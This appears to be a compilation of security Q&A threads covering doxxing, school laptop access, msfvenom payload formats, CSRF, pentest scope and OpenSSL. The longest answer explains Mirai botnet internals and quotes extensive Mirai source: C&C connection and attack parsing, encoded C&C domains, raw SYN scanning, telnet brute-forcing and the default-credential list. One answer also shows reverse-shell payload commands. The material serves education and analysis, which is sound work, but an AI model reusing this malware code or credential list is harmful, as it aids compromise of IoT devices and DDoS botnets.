Get in touch with the police, they will obtain the logs from your phone's carrier and investigate based on that, and they may be able to locate the attackers, but as I said, if the attackers did their job right, the chances of them being brought to justice are unfortunately close to zero. Your best bet is to ignore them, possibly change phone numbers & e-mail addresses and making sure none of your new information leaks out (don't reveal too much on social networks, etc). Google your name and your relatives and see what comes up. Try to get any personal information taken down or change it so whatever data is published is no longer valid. I suggest you read this : After getting doxxed, how can one protect personally identifiable information?

I doubt your iPhone was compromised, especially if it's up to date. iOS exploits retail for millions on the black market and I do not think someone would waste valuable exploits just to bully someone. Your computer, on the other hand, may have been compromised. I suggest you reinstall it and change your passwords.


Should I let my child's school have access to my kid's personal laptop? My kid is starting 6th grade and the school requires him to get a laptop and bring it to school. Now the school IT department wants to install some software on the laptop and is asking for administrative access. They want to install Office, Outlook, an AV and some site certificates.

I feel that on principle this is not right, as it's not the school's device, so school staff shouldn't have access. Additionally, I don't have any sense of how good the school's security practices are. What if they inadvertently install malware? However, if I refuse then I risk being "that parent" and I'm setting myself up for a few years of headaches as any time the school wants to add new software, I'll have to do it myself.

What would you do?

Update
Wow, this certainly blew up! Thanks to everyone for reading and commenting.

We ended up letting the school have access, for a couple reasons:

The clock was ticking and our child was the only one whose laptop
wasn't set up, so he wasn't able to fully participate in lessons and
was missing out on emails sent to the students.
I'm traveling and am not at home, so remotely installing the software myself   would add another layer of complexity and require someone at home to prep the laptop for remote admin, while adding more delay to the device being ready.

It came down to what's best for the child and at the moment it seemed to us parents that it was letting the school have its way. I can check the device myself later and if there is anything that compromises the device's security or the child's privacy, then I have a better argument against the school's approach. In the meantime I'm letting them know that they could have communicated more about their plans and given us time to have a conversation about it rather than springing it on us at the last minute (though from their point-of-view this worked out just fine).

It might just be because I am already "that parent", but it would be a strong NO from me - and the school administration would get a strong talking to about this. I would push to have that policy changed (though without much hope), for everyone and not just my own child.

There are privacy issues. Security issues. Potentially legal issues - is the software licensed? Cracked? Are they logging all traffic from the laptop, or more? Do they want to install custom software?
And, why are they even asking for all this? What justification could they have.

They want to ensure the children are safe online.
Fine, require some form of parental control. It's your laptop, it's your child - it's your responsibility. (E.g. my son's school requires content filtering on smartphones brought into school. They "demand" some dodgy app by a local fellow. I declined and installed a proper app.)
They want to ensure children's laptops are secure.
Great, first lesson "how to stay safe online". Require Windows Defender (or some other AV/AM) is active and updated, etc. Though this really shouldn't matter to their network...
They want to ensure children are not accessing illegal / inappropriate sites.
First of all, it only concerns them inside/during school. None of their business at home... And they can easily set up a locked down proxy for the school network.
And again, at home they should still have the parental control / filtering software anyway.
They want to educate your children.
Oh do they? Because this sounds like the opposite of that. This is an educational opportunity, a veritable goldmine for several topics, and they are going the other way.

You might need to discuss with the teachers, the principal, the school board... You might need to reeducate them about this. And you might even lose, but fighting this is the right thing to do - as @Mike and some of the commenters mentioned, best chance to teach your kids about safeguarding your own privacy and preventing onerous demands from misguided authority. :-)


msfvenom payload available formats How can you tell the available output formats for a given payload in msfvenom? For example:

this wont work:

msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf

but this will:

msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f raw > out.sh

and --list formats just shows every format in msfvenom

Best answer: it depends ;)
You know the difference between executable formats and transform formats? (Question about difference) You can list the formats with the --list formats option. There you can see wether it is an executable format or for transformation.

Executable formats have the same file type / ending as the format name (-f asp > file.asp). Exceptions are the ones with a hyphen: psh-* is a powershell format so you can use *.ps1 (wikipedia powershell filetypes). (and maybe the osx-app format can be a .bin).

Transform formats are more used to build a wrapper for the shellcode in the selected language. So if you use a generic windows/shell/bind_tcp with python (as in an official example) then the file will contain a whole python script and in there is a string variable called buf which contains the shellcode in python string syntax. Below this can be the execution / call of the string.
The hex and even more the raw format is used to transform or encode it later or to directly inject it to an exploit. If you maybe find a buffer overflow (for example) which leeds to an execution of user defined content, then you won't need the headers of the executable formats (exe, elf, ...) but you need the 'raw shellcode'. Then use the raw type.

And note the payload itself: if you use cmd/unix... then an exe format won't work and an elf not all the time. If it begins with python/.. then use a raw format to inject in existing python 'exec' areas because the exploit is already in python format.

Try to use it without encoder (-e generic/none) and inspect your output for different payloads (perl/.., cmd/unix/.. , ...) and different formats before you 'use' them.


Web App or Web Services testing? I am trying to clear up a doubt on security testing.

If the web app (GUI, functional UIs, user roles, et all), makes use of rest web services to take actions, I believe both the web app AND the web services should be tested.

The vendor team, however, insists otherwise, and just want web app to be tested, and leave the web services out.

Can someone pls confirm if I am correct & both web app & web services must be reviewed? Thnx.

Update:
Adding more info on this.

The vendor is a third-party, who has written this app for one of our teams. The team has asked me directions and next steps for ensuring security in this app. I am recommending that we get a pentest done against this app (both web app & web services), identify the security issues, and tell the vendor to fix stuff, instead of I just signing off on a poorly written app.

Vendor insists we stick to web app pentest and not web services security, as testing both is not necessary.

In terms of a penetration-test / security review you want to review both components, because both components can have different vulnerabilities. The web service should be secure against things like SQL-injection, path traversal, broken authentication and so on whereas the web app should be secure against cross-site-scripting.

You should check the OWASP Top 10 and dertimine which attack vector can / should be prevented in the backend and which in the frontend.

All in all I would say, a secure backend is way more important than a secure frontend because the frontend can easily be bypassed with tools like burp suite oder ZAP, so focus on the backend. But keep in mind that there are vectors which only apply to the frontend.


Hosting CSRF Token at URL When implementing CSRF protection, one generally uses a CSRF cookie that must be included in the body of the request. This prevents CSRF attacks because the malicious website cannot read the other website's cookies.

Does this mean that it is equally secure to instead host the CSRF token at a specific URL (without any Access-Control-Allow-Origin header set)? So for example, example.com/unique_csrf_token hosts a randomly generated secure CSRF token that must be included in all requests.

Is that equally secure since other websites can't access that URL? Or is there some other vulnerability I'm missing?

When implementing CSRF protection, one generally uses a CSRF cookie that must be included in the body of the request. This prevents CSRF attacks because the malicious website cannot read the other website's cookies.

This is fundamentally incorrect.  I think you misunderstand the attack vector.

A CSRF attack (also called "session riding") will typically look like this

Hacker sends a carefully crafted email to millions of users, and/or tricks them into opening a carefully crafted page of the attacker's design.
Of those millions, a few users will access the email while their browser is already logged into a secure web site, and hence has the session cookie
A clear GIF, link, or script in the email or malicious page targets a location within the secure web site
Because the user is already logged into the site, all cookies associated with that site are automatically sent along with the request.  Hence the attack can "ride" on top of the user's legitimate session.
At no point does the attacker learn what is IN the cookie.  He is just borrowing it, blindly.

A CSRF mitigation relies on the fact that the attack is crafted ahead of time and has no ability to access the content of any of the secure pages (it can only issue a request blindly).  A CSRF token is included as a hidden variable in the site's secure pages; when the attacker's request hits the site, yes it has the cookie, but it will not have the hidden variable.  The site can validate the cookie against the variable, and if the variable is missing or wrong, the request is denied.

It is certainly possible to implement a CSRF mitigation using some token in the URL (in addition to, not in place of, a cookie), but this approach has certain problems.  In order to offer any security, the token must change occasionally (sometimes per session, often per page request) and when it changes, it will invalidate any of the user's bookmarks.  Also, it is darned ugly because an end user can see what appears to be goobledigook in the address bar.

You should NOT implement a cookieless mechanism that relies on the URL token alone, as this causes other security problems.


Ruby resources for Penetration testing/testers and ethical hackers I'm wondering if there is a place where I can find up-to-date information regarding ethical hacking with Ruby. I do find lot of Python information, which is OK, but I have 4 years of experience coding Ruby for DevOps/Sysadmin/networking related scripts.

I'd like to learn more of Information Security, and will rather code my own penetration test tools using a language I'm more familiar with.

If there's no other option I can dig into Python, but before I make that call I'd like to hear from others that use Ruby to create their own pen-test tools.

EDIT: there is a subreddit for infosec ruby at: http://www.reddit.com/r/ruby_infosec/

I'm a Python programmer myself, in my opinion there isn't any limitation to Ruby compared to Python when it comes to coding your pentesting tools. So if you are familiar with Ruby, go for Ruby. It can be handy to understand other programming/scripting languages to analyze an exploit. From this perspective I'd encourage you to try and port exploits from Python to Ruby.  Apart from the more low level stuff in Python (stuff which requires ctypes might take a bit more time to understand) you can generally just look at the protocol spec or Python code to find out how it works.

Metasploit was completely written in Ruby, have a look at the framework as you will most likely use it a lot.  If you want to code your own pentesting tools then just port Python scripts to Ruby or take the concepts from the tool's description..

One of the more interesting tools you have in Python is scapy. It was the pioneering library for packet crafting. For Ruby you have Scruby(not actively developed anymore) and the more recent and maintained PacketFu.

To automate nmap scanning you can use ruby-nmap which is an interface to nmap.


What security does the new option for two factor authentication that Google offers enforce? Google has announced a new option for two factor authentication - a popup message.

How does this improve security?

It is not you logging in on this phone, it is (presumably) you logging in on another device. You get prompted to authorize the login on the other device.

That's why the prompt also mentions the device.

So now you get a simple yes or no pop-up, rather than a confirmation email, text or setting up a separate security key. In itself it's not more secure, but it's more streamlined, so more people may start using it.


How to get openssl to use a cert without specifying it via -CAfile I'm using this command:

openssl s_client -connect example.com:443 -CAfile /etc/ssl/certs/GTE_CyberTrust_Global_Root.pem

It works. If I don't specify that CAfile I get a code 20. The cert is in /etc/ssl/certs and /usr/lib/ssl/certs -> /etc/ssl/certs It's also included in the ca-certificates.crt

What's governing whether openssl can find my cert or not and how can I get it to accept this cert without explicitly specifying it?

There is a known OpenSSL bug where s_client doesn't check the default certificate store when you don't pass the -CApath or -CAfile argument.  OpenSSL on Ubuntu 14.04 suffers from this bug as I'll demonstrate:

Version:

ubuntu@puppetmaster:/etc/ssl$ openssl version
OpenSSL 1.0.1f 6 Jan 2014

Fails to use the default store when I don't pass the `-ca:

ubuntu@puppetmaster:/etc/ssl$ openssl s_client -quiet -connect gmail.com:443
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify error:num=20:unable to get local issuer certificate
verify return:0

Now I pass null as the -CApath and it works:

ubuntu@puppetmaster:/etc/ssl$ openssl s_client -quiet -connect gmail.com:443 -CApath /dev/null
depth=3 C = US, O = Equifax, OU = Equifax Secure Certificate Authority
verify return:1
depth=2 C = US, O = GeoTrust Inc., CN = GeoTrust Global CA
verify return:1
depth=1 C = US, O = Google Inc, CN = Google Internet Authority G2
verify return:1
depth=0 C = US, ST = California, L = Mountain View, O = Google Inc, CN = mail.google.com
verify return:1

Unfortunately I don't think a list of affected OpenSSL versions exists.  Only way to know is to test it.


How does Mirai's C&C communicate with its bots? I'm wondering how Mirai based botnets work. Specifically, I want to understand the communication mechanisms between the C&C servers and its bots. After reading this question I've understood that a bot finds a C&C server with a DNS query after being infected.

But how does the C&C server communicate with its bots? For example if it wants them to attack. Which protocols are used here? Is the communication encrypted?

As a programmer I'd love to see answers with reference to the Mirai source code.

I guess i'll answer direct to your question since you mentioned you've understood that 'a bot finds a C&C server with a DNS query after being infected. (i'll get back to this statement at the bottom)

To answer your question, we have to delve deeper elsewhere as there are many parts to it in the source code.

  1. how does the C&C server communicate with its bots?

In the code you can see various areas of communication

// Set up CNC sockets
if (fd_serv == -1)
establish_connection();

and

static void establish_connection(void)
{
#ifdef DEBUG
    printf("[main] Attempting to connect to CNC\n");
#endif

C&C is initialized here in this part of the code.

table_unlock_val(TABLE_CNC_DOMAIN);
entries = resolv_lookup(table_retrieve_val(TABLE_CNC_DOMAIN, NULL));
table_lock_val(TABLE_CNC_DOMAIN);

After which When Mirai is able to reach C&C successfully. The connectivity to C&C will take place.

table_unlock_val(TABLE_CNC_PORT);
srv_addr.sin_port = *((port_t *)table_retrieve_val(TABLE_CNC_PORT, NULL));
table_lock_val(TABLE_CNC_PORT);

For Mirai to get connected to the C&C, all it has to do is sent 4 bytes to the C&C.

                LOCAL_ADDR = util_local_addr();
                send(fd_serv, "\x00\x00\x00\x01", 4, MSG_NOSIGNAL);
                send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL);
                if (id_len > 0)
                {
                    send(fd_serv, id_buf, id_len, MSG_NOSIGNAL);
                }

Then it will try to maintain connection here

if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {

  2. For example if it wants them to attack.

For Machines infected by Mirai, they are set into infinite loop waiting for commands from the C&C Server.

When commands is received from C&C. These codes are the ones invoking the attack portion.

void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *);

Which in turn it will execute

void attack_parse(char *buf, int len)
{
    int i;
    uint32_t duration;
ATTACK_VECTOR vector;
uint8_t targs_len, opts_len;
struct attack_target *targs = NULL;
struct attack_option *opts = NULL;

// Read in attack duration uint32_t
if (len < sizeof (uint32_t))
    goto cleanup;
duration = ntohl(*((uint32_t *)buf));
buf += sizeof (uint32_t);
len -= sizeof (uint32_t);

// Read in attack ID uint8_t
if (len == 0)
    goto cleanup;
vector = (ATTACK_VECTOR)*buf++;
len -= sizeof (uint8_t);

// Read in target count uint8_t
if (len == 0)
    goto cleanup;
targs_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);
if (targs_len == 0)
    goto cleanup;

// Read in all targs
if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len))
    goto cleanup;
targs = calloc(targs_len, sizeof (struct attack_target));
for (i = 0; i < targs_len; i++)
{
    targs[i].addr = *((ipv4_t *)buf);
    buf += sizeof (ipv4_t);
    targs[i].netmask = (uint8_t)*buf++;
    len -= (sizeof (ipv4_t) + sizeof (uint8_t));

    targs[i].sock_addr.sin_family = AF_INET;
    targs[i].sock_addr.sin_addr.s_addr = targs[i].addr;
}

// Read in flag count uint8_t
if (len < sizeof (uint8_t))
    goto cleanup;
opts_len = (uint8_t)*buf++;
len -= sizeof (uint8_t);

// Read in all opts
if (opts_len > 0)
{
    opts = calloc(opts_len, sizeof (struct attack_option));
    for (i = 0; i < opts_len; i++)
    {
        uint8_t val_len;

        // Read in key uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        opts[i].key = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        // Read in data length uint8
        if (len < sizeof (uint8_t))
            goto cleanup;
        val_len = (uint8_t)*buf++;
        len -= sizeof (uint8_t);

        if (len < val_len)
            goto cleanup;
        opts[i].val = calloc(val_len + 1, sizeof (char));
        util_memcpy(opts[i].val, buf, val_len);
        buf += val_len;
        len -= val_len;
    }
}

errno = 0;
attack_start(duration, vector, targs_len, targs, opts_len, opts);

  3. Which protocols are used here?

The communication between the bots and the C&C are through “binary” protocols.
Binary attacks command are passed to the QueueBuf function below and will be placed in a buffer queue.

func (this *ClientList) QueueBuf(buf []byte, maxbots int, botCata string) {
attack := &AttackSend{buf, maxbots, botCata}
this.atkQueue <- attack
}

Thereafter atkQueue channel will receive the command that is set in the buffer if the bot unit.

func (this *ClientList) worker() {
rand.Seed(time.Now().UTC().UnixNano())

for {
    select {
    case add := <-this.addQueue:
        this.totalCount <- 1
        this.uid++
        add.uid = this.uid
        this.clients[add.uid] = add
        break
    case del := <-this.delQueue:
        this.totalCount <- -1
        delete(this.clients, del.uid)
        break
    case atk := <-this.atkQueue:
        if atk.count == -1 {
            for _,v := range this.clients {
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                }
            }
        } else {
            var count int
            for _, v := range this.clients {
                if count > atk.count {
                    break
                }
                if atk.botCata == "" || atk.botCata == v.source {
                    v.QueueBuf(atk.buf)
                    count++
                }
            }
        }

  4. Is the communication encrypted?

Communications are not encrypted if you are thinking of SSL. If you are connected to the C&C and able see the traffic stream, the binary stream protocol together with the attack commands will be visible.

However the commands and hostname and ports are all encrypted as seen in the codes.

void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);   // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);         // 48101

Lastly, elaborating on your statement
'that a bot finds a C&C server with a DNS query after being infected.'

The bot does look for a domain name. Reason being so is that if a C&C needs a change of IP; the bot looking for the new C&C will still be able to find it. Domain names can always be pointed to different ip addresses.

  5. So how does Mirai target IOT devices?

The original Mirai looks for devices with busybox installed. This answer is directed at the original Mirai. As you know Mirai source codes are now public and it is not surprising to see variants of Mirai in the wild performing different if not more sophisticated attacks.

SYN scanning on socket is done and traversing accross various target IP addresses. It's used because it's fast and the ability to probe multiple ports

    // Set up raw socket scanning and payload
    if ((rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
    #ifdef DEBUG
        printf("[scanner] Failed to initialize raw socket, cannot scan\n");
    #endif
        exit(0);
    }

Mirai will try to listen for responses from the targets after the SYN Scan

        if (fake_time != last_spew)
        {
            last_spew = fake_time;

            for (i = 0; i < SCANNER_RAW_PPS; i++)
            {
                struct sockaddr_in paddr = {0};
                struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
                struct tcphdr *tcph = (struct tcphdr *)(iph + 1);

                iph->id = rand_next();
                iph->saddr = LOCAL_ADDR;
                iph->daddr = get_random_ip();
                iph->check = 0;
                iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

                if (i % 10 == 0)
                {
                    tcph->dest = htons(2323);
                }
                else
                {
                    tcph->dest = htons(23);
                }
                tcph->seq = iph->daddr;
                tcph->check = 0;
                tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));

                paddr.sin_family = AF_INET;
                paddr.sin_addr.s_addr = iph->daddr;
                paddr.sin_port = tcph->dest;

                sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
            }
        }

Finding targets are random, it will then move on to the next ip address probing again.

    static ipv4_t get_random_ip(void)
    {
    uint32_t tmp;
    uint8_t o1, o2, o3, o4;
    do
    {
        tmp = rand_next();

        o1 = tmp & 0xff;
        o2 = (tmp >> 8) & 0xff;
        o3 = (tmp >> 16) & 0xff;
        o4 = (tmp >> 24) & 0xff;
    }
    while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
          (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
          (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
          (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
          (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
          (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
          (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
          (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
          (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
          (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
          (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
          (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
          (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
    );

    return INET_ADDR(o1,o2,o3,o4);
    }

Mirai will then go to the next phase in a typical TCP handshake and send an ACK packet attempt to get a response from target and perform analysis if a port is open. Targeting TCP/23 and TCP/2323

    last_avail_conn = 0;
    while (TRUE)
    {
    int n;
    char dgram[1514];
    struct iphdr *iph = (struct iphdr *)dgram;
    struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
    struct scanner_connection *conn;

    errno = 0;
    n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
    if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
        break;

    if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
        continue;
    if (iph->daddr != LOCAL_ADDR)
        continue;
    if (iph->protocol != IPPROTO_TCP)
        continue;
    if (tcph->source != htons(23) && tcph->source != htons(2323))
        continue;
    if (tcph->dest != source_port)
        continue;
    if (!tcph->syn)
        continue;
    if (!tcph->ack)
        continue;
    if (tcph->rst)
        continue;
    if (tcph->fin)
        continue;
    if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
        continue;

    conn = NULL;
    for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
    {
        if (conn_table[n].state == SC_CLOSED)
        {
            conn = &conn_table[n];
            last_avail_conn = n;
            break;
        }
    }

Once the above are done. A TCP Session is then Established between Mirai and the target.

        FD_ZERO(&fdset_rd);
        FD_ZERO(&fdset_wr);
        for (i = 0; i < SCANNER_MAX_CONNS; i++)
        {
            int timeout;

            conn = &conn_table[i];
            timeout = (conn->state > SC_CONNECTING ? 30 : 5);

            if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
            {
    #ifdef DEBUG
                printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
    #endif
                close(conn->fd);
                conn->fd = -1;

                // Retry
                if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
                {
                    if (++(conn->tries) == 10)
                    {
                        conn->tries = 0;
                        conn->state = SC_CLOSED;
                    }
                    else
                    {
                        setup_connection(conn);
    #ifdef DEBUG
                        printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                    }
                }
                else
                {
                    conn->tries = 0;
                    conn->state = SC_CLOSED;
                }
                continue;
            }

Mirai will then perform password enumeration here

            if (FD_ISSET(conn->fd, &fdset_rd))
            {
                while (TRUE)
                {
                    int ret;

                    if (conn->state == SC_CLOSED)
                        break;

                    if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
                    {
                        memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
                        conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
                    }
                    errno = 0;
                    ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
                    if (ret == 0)
                    {
    #ifdef DEBUG
                        printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
    #endif
                        errno = ECONNRESET;
                        ret = -1; // Fall through to closing connection below
                    }
                    if (ret == -1)
                    {
                        if (errno != EAGAIN && errno != EWOULDBLOCK)
                        {
    #ifdef DEBUG
                            printf("[scanner] FD%d lost connection\n", conn->fd);
    #endif
                            close(conn->fd);
                            conn->fd = -1;

                            // Retry
                            if (++(conn->tries) >= 10)
                            {
                                conn->tries = 0;
                                conn->state = SC_CLOSED;
                            }
                            else
                            {
                                setup_connection(conn);
    #ifdef DEBUG
                                printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
    #endif
                            }
                        }

and attempt to login using common weak passwords and default passwords.

    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511
    add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);                      // admin    admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6);                      // root     888888
    add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5);                  // root     xmhdipc
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5);                  // root     default
     add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5);              // root     juantech
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5);                      // root     123456
    add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5);                          // root     54321
    add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);      // support  support
    add_auth_entry("\x50\x4D\x4D\x56", "", 4);                                              // root     (none)
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4);          // admin    password
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4);                              // root     root
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4);                          // root     12345
    add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3);                              // user     user
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3);                                          // admin    (none)
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3);                              // root     pass
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3);      // admin    admin1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3);                              // root     1111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3);          // admin    smcadmin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2);                          // admin    1111
    add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2);                      // root     666666
    add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2);              // root     password
    add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2);                              // root     1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1);                      // root     klv123
    add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
    add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1);      // service  service
    add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
    add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1);                      // guest    guest
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1);                      // guest    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1);      // admin1   password
    add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
    add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1);              // 666666   666666
    add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1);              // 888888   888888
    add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1);                              // ubnt     ubnt
    add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1);                  // root     klv1234
    add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1);                      // root     Zte521
    add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1);                      // root     hi3518
    add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1);                          // root     jvbzd
    add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4);                              // root     anko
    add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1);                          // root     zlxx.
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root     7ujMko0vizxv
    add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root     7ujMko0admin
    add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1);                      // root     system
    add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1);                              // root     ikwb
    add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1);              // root     dreambox
    add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1);                              // root     user
    add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1);                  // root     realtek
    add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1);              // root     00000000
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1);              // admin    1111111
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1);                      // admin    12345
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1);                      // admin    54321
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1);                  // admin    123456
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin    7ujMko0admin
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1);                          // admin    1234
    add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1);                          // admin    pass
